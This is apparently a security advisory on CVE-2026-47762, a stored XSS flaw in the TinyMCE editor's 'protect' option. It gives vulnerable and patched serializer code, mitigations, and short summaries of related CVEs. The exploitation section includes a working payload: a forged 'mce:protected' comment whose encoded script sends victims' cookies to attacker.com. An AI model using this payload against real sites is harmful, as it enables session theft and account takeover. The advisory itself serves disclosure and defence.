Jun 6, 2026·8 min read·6 visits
A stored XSS vulnerability in TinyMCE prior to 5.11.1, 7.9.3, and 8.5.1 allows low-privileged users to execute arbitrary scripts in the browsers of administrators or other users by injecting a forged 'mce:protected' comment.
A high-severity stored Cross-Site Scripting (XSS) vulnerability was identified in the TinyMCE rich text editor. The flaw exists in the handling of the 'protect' configuration option, where forged placeholder comments containing malicious payloads bypass the editor's sanitization routines and execute arbitrary JavaScript during serialization and content restoration.
The vulnerability identified as CVE-2026-47762 represents a severe security flaw in the processing of custom markup preservation patterns within the TinyMCE rich text editor. TinyMCE is a widely deployed, browser-based WYSIWYG editor that allows users to create and edit formatted text. Because it is designed to integrate into a broad range of applications—from basic comment systems to complex content management suites—its security boundaries are crucial to protecting application users, including administrators.
The specific attack surface resides in TinyMCE's content processing pipeline, which handles transitions between raw HTML strings and active Document Object Model (DOM) elements. To accommodate advanced configurations where non-standard or server-side tags (such as PHP, JSP, or template variables) must be preserved without modification, TinyMCE provides a configuration option known as protect. This option exposes the parser to a configured list of regular expressions, which match and shield the designated blocks during editor interactions.
When a document containing matches is loaded, TinyMCE replaces the matching strings with temporary, serialized comment placeholders. These placeholders prevent the editor's sanitization engine and browser parser from stripping or altering the tags during the editing experience. However, a failure to validate the authenticity of these comments when translating them back to raw HTML forms the root of this stored Cross-Site Scripting (XSS) vulnerability.
An attacker capable of inserting a pre-crafted comment containing the internal protection marker into the application's storage can exploit this trust. When another user views or edits the content, TinyMCE processes the forged comment, decodes its payload, and restores it directly as raw, executable markup inside the active DOM. This bypasses the editor's built-in HTML sanitization mechanisms entirely.
To understand the technical cause of CVE-2026-47762, we must examine the asymmetrical verification architecture implemented in the editor's HTML parsing and serialization components. The editor's HTML parser, class tinymce.html.Parser, is responsible for sanitizing input and constructing a clean DOM representation. When the protect option is defined, the parser scans incoming strings and substitutes matches with specialized comments prefixed with mce:protected .
This encoding step is safe, but the vulnerability is introduced during the subsequent deserialization and serialization phases. The serializer, class tinymce.html.Serializer, is tasked with translating the editor's active DOM back into a clean HTML string. To restore the protected code, the serializer scans the document for any comment nodes. It checks if the comment value begins with the string mce:protected and extracts the trailing substring.
The extracted data is then processed directly through the native decodeURIComponent utility. Crucially, in vulnerable versions of TinyMCE, the serializer immediately restored this decoded data to the output stream as raw HTML, without verifying if the decoded payload actually matched any of the registered regular expressions defined in the protect setting. The parser implicitly assumed that any comment node possessing the mce:protected prefix was natively generated by the editor.
This structural trust flaw creates a direct injection path. An attacker can write a comment node directly containing the mce:protected prefix and an arbitrary URL-encoded JavaScript payload. Since standard backend sanitizers and filters often view HTML comments as inert, safe elements, they permit this content to be saved to the database. Upon rendering within the editor, the nested script is decoded and execution occurs within the browser security context.
The vulnerable code path is characterized by an unvalidated substitution routine in the comment processing logic. In affected releases, whenever the serializer encounters a comment node, it performs a simple string search for the mce:protected prefix. The following block illustrates the simplified vulnerable control flow where the decoded string is unconditionally trusted and output:
// Vulnerable logic in HTML Serializer
function serializeCommentNode(node) {
var value = node.value;
if (value && value.indexOf('mce:protected ') === 0) {
// Extract and decode URL-encoded payload
var encodedPayload = value.substring(14);
var decodedPayload = decodeURIComponent(encodedPayload);
// VULNERABILITY: Immediately output the decoded payload as raw HTML
return decodedPayload;
}
return '<!--' + value + '-->';
}The implementation of the security fix addresses this lack of verification by introducing a validation step. The editor now tracks the regular expressions defined in the settings under the protect array. When the serializer decodes a protection placeholder, it iterates through the active regexes to verify that the decoded text matches at least one of the protection rules. If no match is found, the node is treated as a plain comment or discarded.
// Patched logic in HTML Serializer
function serializeCommentNode(node, settings) {
var value = node.value;
if (value && value.indexOf('mce:protected ') === 0) {
var encodedPayload = value.substring(14);
var decodedPayload = decodeURIComponent(encodedPayload);
// Retrieve active protect patterns
var protectPatterns = settings.protect || [];
var isLegitimateMatch = false;
// Verify the decoded payload against each pattern
for (var i = 0; i < protectPatterns.length; i++) {
var pattern = protectPatterns[i];
pattern.lastIndex = 0; // Reset global match pointer
if (pattern.test(decodedPayload)) {
isLegitimateMatch = true;
break;
}
}
if (isLegitimateMatch) {
// Safe to restore as raw HTML because it matches a defined pattern
return decodedPayload;
}
// Reject forged comment to prevent XSS execution
console.warn('Security Warning: Rejected unverified mce:protected payload');
return '';
}
return '<!--' + value + '-->';
}This validation logic successfully blocks the exploit path. Even if an attacker successfully injects a forged mce:protected comment into the editor, the decoded script payload (e.g., <script>alert(1)</script>) will not match the developer-defined protection pattern (such as /<\?php[\s\S]*?\?>/g), preventing raw DOM restoration.
Exploitation of CVE-2026-47762 is highly reliable due to its reliance on basic comment injection, which is often overlooked by application-level input filters. To mount a successful attack, the target environment must satisfy two main conditions. First, the application must configure TinyMCE with the protect option enabled. Second, the application must allow users to input text that is subsequently loaded into a TinyMCE instance viewed by other users.
The attacker begins by defining a client-side execution objective, such as retrieving the session identifiers of highly privileged administrative users. Once the target payload is constructed, the attacker URL-encodes the JavaScript block. The resulting string is prefixed with the mce:protected marker and enclosed within a standard HTML comment tag to mask it from initial client-side or server-side input sanitizers.
<!-- mce:protected %3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2F%3Ftoken%3D%27%20%2B%20btoa(document.cookie))%3C%2Fscript%3E -->When the attacker submits this input, the application's server-side filtering library processes it. Because many backend sanitizers permit HTML comments, the payload bypasses detection and is saved directly to the database. When an administrator later logs into the application and opens the content editor containing this stored data, TinyMCE parses the document. It identifies the comment, decodes the nested script, and injects the raw script element into the active document context, executing the attack.
The severity of CVE-2026-47762 is classified as High, with a CVSS v3.1 base score of 8.7. The primary driver of this score is the Changed (C) Scope metric. Because the execution of arbitrary scripts occurs directly inside the active DOM of the browser editing session, the payload can escape any editor container and execute API actions within the context of the host application itself.
For systems managing multi-tenant workflows or administrative portals, the impact of a stored XSS is profound. The attacker can perform any state-changing action available to the victim. This includes modifying system configurations, creating new administrator accounts, stealing sensitive data, or redirecting users to credential-harvesting phishing pages.
The Exploit Prediction Scoring System (EPSS) score currently sits at 0.00032. While active exploitation is not currently cataloged in the CISA Known Exploited Vulnerabilities (KEV) database, history indicates that stored XSS flaws in key administrative components like rich text editors are frequently utilized in targeted campaigns once proof-of-concept exploits become publicly available.
Furthermore, the attack requires no advanced technical skills or specialized tooling. The low attack complexity, combined with the fact that it only requires low-privilege access, makes it an attractive tool for initial network access or lateral escalation inside corporate intranets and wikis.
Remediation of CVE-2026-47762 requires upgrading the underlying TinyMCE library to versions where validation logic is enforced. The official fixes have been backported and released in versions 5.11.1 (commercial LTS), 7.9.3, and 8.5.1. Upgrading to these versions immediately mitigates the vulnerability by ensuring that all placeholder comments are strictly matched against configured regular expressions.
In environments where upgrading is not immediately possible due to legacy system constraints, organizations can implement several alternative defense-in-depth strategies. The most direct temporary mitigation is to disable the protect configuration option entirely in the TinyMCE initialization parameters. If the editor is not required to preserve specialized non-HTML syntax, removing this setting completely removes the vulnerable code execution pathway.
Another highly effective mitigation is implementing strict server-side sanitization that explicitly removes all HTML comments from user-supplied inputs before storing them in the persistent database. Sanitization libraries such as DOMPurify (for Node.js) or HTMLPurifier (for PHP) can be configured to completely strip comment tags, thereby eliminating the ability of an attacker to inject the mce:protected structure.
Finally, organizations should deploy a robust Content Security Policy (CSP). The CSP should restrict script executions to predefined, trusted domains, enforce strict cryptographic nonces for all inline scripts, and explicitly block the unsafe-inline directive. This ensures that even if a stored payload is successfully decoded and injected into the DOM by the editor, the browser will refuse to execute the unauthorized script.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
TinyMCE Tiny Technologies | < 5.11.1 | 5.11.1 |
TinyMCE Tiny Technologies | >= 6.0.0, <= 6.8.6 | None (Upgrade to 7.9.3 or 8.5.1) |
TinyMCE Tiny Technologies | >= 7.0.0, < 7.9.3 | 7.9.3 |
TinyMCE Tiny Technologies | >= 8.0.0, < 8.5.1 | 8.5.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 8.7 (High) |
| EPSS Score | 0.00032 |
| Impact | Stored Cross-Site Scripting (XSS) / Privilege Escalation |
| Exploit Status | Proof-of-Concept (PoC) available |
| KEV Status | Not currently listed |
The application receives input from an untrusted source, fails to neutralize or sanitize it correctly, and places it into an output web page that is rendered by a browser.
TinyMCE versions 6.8.0 through 7.0.1 contain a high-severity Cross-Site Scripting (XSS) vulnerability. The flaw exists in the custom HTML parser and sanitizer module, which incorrectly manages SVG namespace scopes when parsing nested elements. A low-privileged or unauthenticated attacker can submit a crafted HTML payload containing nested SVG structures to bypass sanitization filters, leading to arbitrary JavaScript execution in the context of the victim's browser session.
CVE-2026-47759 is a critical stored Cross-Site Scripting (XSS) vulnerability affecting multiple active branches of the TinyMCE rich text editor. The flaw resides in the editor's handling of user-controlled, prefixed internal attributes, such as data-mce-href, data-mce-src, and data-mce-style. When processing raw HTML inputs, TinyMCE's internal validation schema neglects to inspect these custom prefixed attributes. During HTML serialization, the editor's engine extracts these unsanitized values and copies them back into standard executable attributes, overwriting any previously sanitized standard values and leading to execution of arbitrary code.
An authorization bypass and client-side property tampering vulnerability (CVE-2026-47742) in the Shopper headless admin panel (built on Laravel and Livewire) allows low-privileged users to modify arbitrary product records (Insecure Direct Object Reference). This occurs due to unlocked public model properties and a complete lack of access control checks on mutating sub-form store methods.
Shopper is an open-source headless e-commerce administration panel built on Laravel, Livewire, and Filament. Prior to version 2.8.0, the admin tables for PaymentMethods, Currencies, and Carriers exposed inline toggles and per-record actions that could be modified by any authenticated user without verifying the corresponding administrative permissions on the backend.
An Insecure Direct Object Reference (IDOR) vulnerability in Bugsink (versions < 2.2.0) allows authenticated users with access to at least one project to view sensitive event details (including stack traces, local/environment variables, and execution breadcrumbs) belonging to other projects, by supplying a known event UUID directly to the issue event URL paths.
Bugsink prior to version 2.2.0 is vulnerable to Broken Object Level Authorization (BOLA). The issue list view authorizes access based on the project in the URL path but applies requested bulk actions to submitted issue UUIDs globally, without verifying project ownership.